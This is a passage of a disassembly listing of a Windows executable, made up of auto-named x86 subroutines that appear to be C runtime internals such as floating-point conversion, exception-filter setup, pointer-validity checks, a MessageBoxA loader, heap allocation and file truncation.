arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424A99
inc ebx
push ebx
push [ebp+arg_0]
call sub_424996
pop ecx
test eax, eax
pop ecx
jnz short loc_424A96
push edi
push [ebp+arg_0]
call sub_4249DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424A96: ; CODE XREF: sub_424A35+51j
mov eax, [ebp+arg_4]
loc_424A99: ; CODE XREF: sub_424A35+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424AB9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424AB9: ; CODE XREF: sub_424A35+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424A35 endp
; =============== S U B R O U T I N E =======================================
sub_424AC1 proc near ; CODE XREF: sub_424B90+75p
; sub_424B90+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_424ACF: ; CODE XREF: sub_424AC1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_424ACF
pop esi
retn
sub_424AC1 endp
; =============== S U B R O U T I N E =======================================
sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp
; sub_424B90+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_424ADC endp
; =============== S U B R O U T I N E =======================================
sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_424AEE: ; CODE XREF: sub_424AE8+12j
cmp dword ptr [eax], 0
jnz short loc_424B00
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_424AEE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424B00: ; CODE XREF: sub_424AE8+9j
xor eax, eax
retn
sub_424AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B03 proc near ; CODE XREF: sub_424B90+C0p
; sub_424B90+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424B39: ; CODE XREF: sub_424B03+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424B39
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424B6B: ; CODE XREF: sub_424B03+86j
cmp ebx, edi
jl short loc_424B7E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424B85
; ---------------------------------------------------------------------------
loc_424B7E: ; CODE XREF: sub_424B03+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424B85: ; CODE XREF: sub_424B03+79j
dec ebx
sub ecx, 4
jns short loc_424B6B
pop edi
pop esi
pop ebx
leave
retn
sub_424B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp
; sub_424D12+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424BFD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424AE8
test eax, eax
pop ecx
jnz loc_424CBC
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
loc_424BF5: ; CODE XREF: sub_424B90+E4j
push 2
loc_424BF7: ; CODE XREF: sub_424B90+110j
pop eax
jmp loc_424CBE
; ---------------------------------------------------------------------------
loc_424BFD: ; CODE XREF: sub_424B90+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424AC1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
add esp, 10h
test eax, eax
jz short loc_424C1E
inc ebx
loc_424C1E: ; CODE XREF: sub_424B90+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424C36
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
jmp short loc_424C72
; ---------------------------------------------------------------------------
loc_424C36: ; CODE XREF: sub_424B90+98j
cmp ebx, eax
jg short loc_424C79
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424AC1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424B03
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424B03
add esp, 20h
loc_424C72: ; CODE XREF: sub_424B90+A4j
xor esi, esi
jmp loc_424BF5
; ---------------------------------------------------------------------------
loc_424C79: ; CODE XREF: sub_424B90+A8j
cmp ebx, [edi]
jl short loc_424CA5
lea eax, [ebp+var_C]
push eax
call sub_424ADC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424B03
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424BF7
; ---------------------------------------------------------------------------
loc_424CA5: ; CODE XREF: sub_424B90+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424B03
pop ecx
pop ecx
loc_424CBC: ; CODE XREF: sub_424B90+55j
xor eax, eax
loc_424CBE: ; CODE XREF: sub_424B90+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424CED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424CF7
; ---------------------------------------------------------------------------
loc_424CED: ; CODE XREF: sub_424B90+14Ej
cmp edi, 20h
jnz short loc_424CF7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424CF7: ; CODE XREF: sub_424B90+15Bj
; sub_424B90+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424B90 endp
; =============== S U B R O U T I N E =======================================
sub_424CFC proc near ; CODE XREF: sub_424D28+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D808
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424CFC endp
; =============== S U B R O U T I N E =======================================
sub_424D12 proc near ; CODE XREF: sub_424D55+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D820
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D28 proc near ; CODE XREF: sub_42223B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424CFC
add esp, 24h
leave
retn
sub_424D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D12
add esp, 24h
leave
retn
sub_424D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D82 proc near ; CODE XREF: sub_422279+65p
; sub_42237D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424DBF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424DA5: ; CODE XREF: sub_424D82+38j
mov dl, [ecx]
test dl, dl
jz short loc_424DB1
movsx edx, dl
inc ecx
jmp short loc_424DB4
; ---------------------------------------------------------------------------
loc_424DB1: ; CODE XREF: sub_424D82+27j
push 30h
pop edx
loc_424DB4: ; CODE XREF: sub_424D82+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424DA5
mov edx, [ebp+arg_8]
loc_424DBF: ; CODE XREF: sub_424D82+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424DD8
cmp byte ptr [ecx], 35h
jl short loc_424DD8
loc_424DCB: ; CODE XREF: sub_424D82+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424DD6
mov byte ptr [eax], 30h
jmp short loc_424DCB
; ---------------------------------------------------------------------------
loc_424DD6: ; CODE XREF: sub_424D82+4Dj
inc byte ptr [eax]
loc_424DD8: ; CODE XREF: sub_424D82+42j
; sub_424D82+47j
cmp byte ptr [esi], 31h
jnz short loc_424DE2
inc dword ptr [edx+4]
jmp short loc_424DF4
; ---------------------------------------------------------------------------
loc_424DE2: ; CODE XREF: sub_424D82+59j
push edi
call sub_41B9C0
inc eax
push eax
push edi
push esi
call sub_41D670
add esp, 10h
loc_424DF4: ; CODE XREF: sub_424D82+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424D82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp
; sub_42237D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424E5D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBFC8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425973
mov dword_4DBFF0, eax
add esp, 18h
movsx eax, byte_4DBFCA
mov dword_4DBFE8, eax
pop edi
movsx eax, word_4DBFC8
mov dword_4DBFEC, eax
mov dword_4DBFF4, offset dword_4DBFCC
mov eax, offset dword_4DBFE8
pop esi
leave
retn
sub_424DF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E5D proc near ; CODE XREF: sub_424DF9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424EAB
cmp ebx, edi
jz short loc_424EA4
lea edi, [ecx+3C00h]
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EA4: ; CODE XREF: sub_424E5D+3Dj
mov edi, 7FFFh
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E5D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424EC3
cmp edx, ebx
jnz short loc_424EC3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424F0E
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E5D+52j
; sub_424E5D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424ECC: ; CODE XREF: sub_424E5D+45j
; sub_424E5D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424EE4: ; CODE XREF: sub_424E5D+A6j
test ecx, esi
jnz short loc_424F05
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424EE4
; ---------------------------------------------------------------------------
loc_424F05: ; CODE XREF: sub_424E5D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424F0E: ; CODE XREF: sub_424E5D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424E5D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E2C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424F1C proc near ; DATA XREF: sub_424F62o
; .packed:0043D448o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424F3F
cmp dword ptr [eax+10h], 3
jnz short loc_424F3F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424F3F
jmp sub_422DFC
; ---------------------------------------------------------------------------
loc_424F3F: ; CODE XREF: sub_424F1C+Dj
; sub_424F1C+13j ...
mov eax, dword_4DBFF8
test eax, eax
jz short loc_424F5C
push eax
call sub_424FB8
test eax, eax
pop ecx
jz short loc_424F5C
push esi
call dword_4DBFF8
jmp short loc_424F5E
; ---------------------------------------------------------------------------
loc_424F5C: ; CODE XREF: sub_424F1C+2Aj
; sub_424F1C+35j
xor eax, eax
loc_424F5E: ; CODE XREF: sub_424F1C+3Ej
pop esi
retn 4
sub_424F1C endp
; =============== S U B R O U T I N E =======================================
sub_424F62 proc near ; DATA XREF: .packed:00429024o
push offset sub_424F1C
call dword_427010 ; SetUnhandledExceptionFilter
mov dword_4DBFF8, eax
retn
sub_424F62 endp
; =============== S U B R O U T I N E =======================================
sub_424F73 proc near ; DATA XREF: .packed:0042903Co
push dword_4DBFF8
call dword_427010 ; SetUnhandledExceptionFilter
retn
sub_424F73 endp
; =============== S U B R O U T I N E =======================================
sub_424F80 proc near ; CODE XREF: sub_422651+6Bp
; sub_422B62+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_42700C ; IsBadReadPtr
test eax, eax
jz short loc_424F98
xor esi, esi
loc_424F98: ; CODE XREF: sub_424F80+14j
mov eax, esi
pop esi
retn
sub_424F80 endp
; =============== S U B R O U T I N E =======================================
sub_424F9C proc near ; CODE XREF: sub_422B62+73p
; sub_422B62+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_427060 ; IsBadWritePtr
test eax, eax
jz short loc_424FB4
xor esi, esi
loc_424FB4: ; CODE XREF: sub_424F9C+14j
mov eax, esi
pop esi
retn
sub_424F9C endp
; =============== S U B R O U T I N E =======================================
sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp
; sub_424F1C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_427008 ; IsBadCodePtr
test eax, eax
jz short loc_424FCC
xor esi, esi
loc_424FCC: ; CODE XREF: sub_424FB8+10j
mov eax, esi
pop esi
retn
sub_424FB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DFC
loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj
push 0Ah
call sub_423DD1
push 16h
call sub_425C06
pop ecx
pop ecx
push 3
call sub_41C1A2
; END OF FUNCTION CHUNK FOR sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_424FE7 proc near ; CODE XREF: sub_42367B+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424FF8
add esp, 0Ch
retn
sub_424FE7 endp
; =============== S U B R O U T I N E =======================================
sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DD281[eax], cl
jnz short loc_425025
cmp [esp+arg_4], 0
jz short loc_42501E
movzx eax, word_43CE92[eax*2]
and eax, [esp+arg_4]
jmp short loc_425020
; ---------------------------------------------------------------------------
loc_42501E: ; CODE XREF: sub_424FF8+16j
xor eax, eax
loc_425020: ; CODE XREF: sub_424FF8+24j
test eax, eax
jnz short loc_425025
retn
; ---------------------------------------------------------------------------
loc_425025: ; CODE XREF: sub_424FF8+Fj
; sub_424FF8+2Aj
push 1
pop eax
retn
sub_424FF8 endp
; =============== S U B R O U T I N E =======================================
sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBFFC, ebx
push esi
push edi
jnz short loc_425078
push offset aUser32_dll ; "user32.dll"
call dword_4270C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4250AE
mov esi, dword_4270C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_4DBFFC, eax
jz short loc_4250AE
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DC000, eax
call esi ; GetProcAddress
mov dword_4DC004, eax
loc_425078: ; CODE XREF: sub_425029+Bj
mov eax, dword_4DC000
test eax, eax
jz short loc_425097
call eax
mov ebx, eax
test ebx, ebx
jz short loc_425097
mov eax, dword_4DC004
test eax, eax
jz short loc_425097
push ebx
call eax
mov ebx, eax
loc_425097: ; CODE XREF: sub_425029+56j
; sub_425029+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBFFC
loc_4250AA: ; CODE XREF: sub_425029+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4250AE: ; CODE XREF: sub_425029+1Cj
; sub_425029+33j
xor eax, eax
jmp short loc_4250AA
sub_425029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250B2 proc near ; CODE XREF: sub_42413E+22p
; sub_42413E+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4250D3
test esi, esi
jnz short loc_4250CD
push 1
pop esi
loc_4250CD: ; CODE XREF: sub_4250B2+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4250D3: ; CODE XREF: sub_4250B2+12j
; sub_4250B2+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425132
mov eax, dword_4DD3A8
cmp eax, 3
jnz short loc_4250FE
mov eax, [ebp+arg_0]
cmp eax, dword_4DD3A0
ja short loc_42511D
push eax
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425148
jmp short loc_42511D
; ---------------------------------------------------------------------------
loc_4250FE: ; CODE XREF: sub_4250B2+30j
cmp eax, 2
jnz short loc_42511D
cmp esi, dword_43CE84
ja short loc_42511D
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42515C
loc_42511D: ; CODE XREF: sub_4250B2+3Bj
; sub_4250B2+4Aj ...
push esi
push 8
push dword_4DD3A4
call dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_425156
loc_425132: ; CODE XREF: sub_4250B2+26j
cmp dword_4DBE58, 0
jz short loc_425156
push esi
call sub_41FBB2
test eax, eax
pop ecx
jz short loc_42515F
jmp short loc_4250D3
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250B2+48j
push [ebp+arg_0]
loc_42514B: ; CODE XREF: sub_4250B2+ABj
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_425156: ; CODE XREF: sub_4250B2+7Ej
; sub_4250B2+87j
mov eax, edi
loc_425158: ; CODE XREF: sub_4250B2+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42515C: ; CODE XREF: sub_4250B2+69j
push esi
jmp short loc_42514B
; ---------------------------------------------------------------------------
loc_42515F: ; CODE XREF: sub_4250B2+92j
xor eax, eax
jmp short loc_425158
sub_4250B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4241E3
loc_425163: ; CODE XREF: sub_4241E3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DD040, esi
jle short loc_4251B6
loc_425172: ; CODE XREF: sub_4241E3+FD1j
mov eax, dword_4DC02C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4251AD
test byte ptr [eax+0Ch], 83h
jz short loc_425191
push eax
call sub_41BA3B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425191
inc edi
loc_425191: ; CODE XREF: sub_4241E3+F9Fj
; sub_4241E3+FABj
cmp esi, 14h
jl short loc_4251AD
mov eax, dword_4DC02C
push dword ptr [eax+esi*4]
call sub_41BA91
mov eax, dword_4DC02C
pop ecx
and dword ptr [eax+esi*4], 0
loc_4251AD: ; CODE XREF: sub_4241E3+F99j
; sub_4241E3+FB1j
inc esi
cmp esi, dword_4DD040
jl short loc_425172
loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4241E3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251BB proc near ; CODE XREF: sub_42423B+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DD160
jnb loc_4252F0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD060[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_4252F0
push 1
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4252FA
push 2
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4252FA
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42529D
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BF70
loc_425240: ; DATA XREF: .packed:00438CC0o
push 8000h
push ebx
call sub_425D78
add esp, 14h
mov [ebp+arg_4], eax
loc_425251: ; CODE XREF: sub_4251BB+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_42525C
mov eax, edi
loc_42525C: ; CODE XREF: sub_4251BB+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_42527A
sub edi, eax
test edi, edi
jle short loc_425290
jmp short loc_425251
; ---------------------------------------------------------------------------
loc_42527A: ; CODE XREF: sub_4251BB+B5j
cmp dword_4DBDF0, 5
jnz short loc_42528D
mov dword_4DBDEC, 0Dh
loc_42528D: ; CODE XREF: sub_4251BB+C6j
or esi, 0FFFFFFFFh
loc_425290: ; CODE XREF: sub_4251BB+BBj
push [ebp+arg_4]
push ebx
call sub_425D78
pop ecx
pop ecx
jmp short loc_4252DD
; ---------------------------------------------------------------------------
loc_42529D: ; CODE XREF: sub_4251BB+71j
jge short loc_4252DD
push 0
push [ebp+arg_4]
push ebx
call sub_422F09
push ebx
call sub_4240AA
add esp, 10h
push eax
call dword_427004 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4252DD
mov dword_4DBDEC, 0Dh
call dword_427094 ; RtlGetLastWin32Error
mov dword_4DBDF0, eax
loc_4252DD: ; CODE XREF: sub_4251BB+E0j
; sub_4251BB:loc_42529Dj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422F09
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_4252FD
; ---------------------------------------------------------------------------
loc_4252F0: ; CODE XREF: sub_4251BB+1Aj
; sub_4251BB+36j
mov dword_4DBDEC, 9
loc_4252FA: ; CODE XREF: sub_4251BB+4Ej
; sub_4251BB+63j
or eax, 0FFFFFFFFh
loc_4252FD: ; CODE XREF: sub_4251BB+133j
pop esi
pop ebx
leave
retn
sub_4251BB endp
; =============== S U B R O U T I N E =======================================
sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp
; sub_4249DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425317
cmp ecx, esi
jnb short loc_42531A
loc_425317: ; CODE XREF: sub_425301+10j
push 1
pop eax
loc_42531A: ; CODE XREF: sub_425301+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425301 endp
; =============== S U B R O U T I N E =======================================
sub_425322 proc near ; CODE XREF: sub_4253DB+40p
; sub_4253DB+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
inc dword ptr [esi+8]
loc_425354: ; CODE XREF: sub_425322+19j
; sub_425322+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_42536C
inc dword ptr [esi+8]
loc_42536C: ; CODE XREF: sub_425322+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
pop edi
pop esi
retn
sub_425322 endp
; =============== S U B R O U T I N E =======================================
sub_425380 proc near ; CODE XREF: sub_4253DB+30p
; sub_4253DB+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_425380 endp
; =============== S U B R O U T I N E =======================================
sub_4253AE proc near ; CODE XREF: sub_425973+1C8p
; sub_425DEE+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
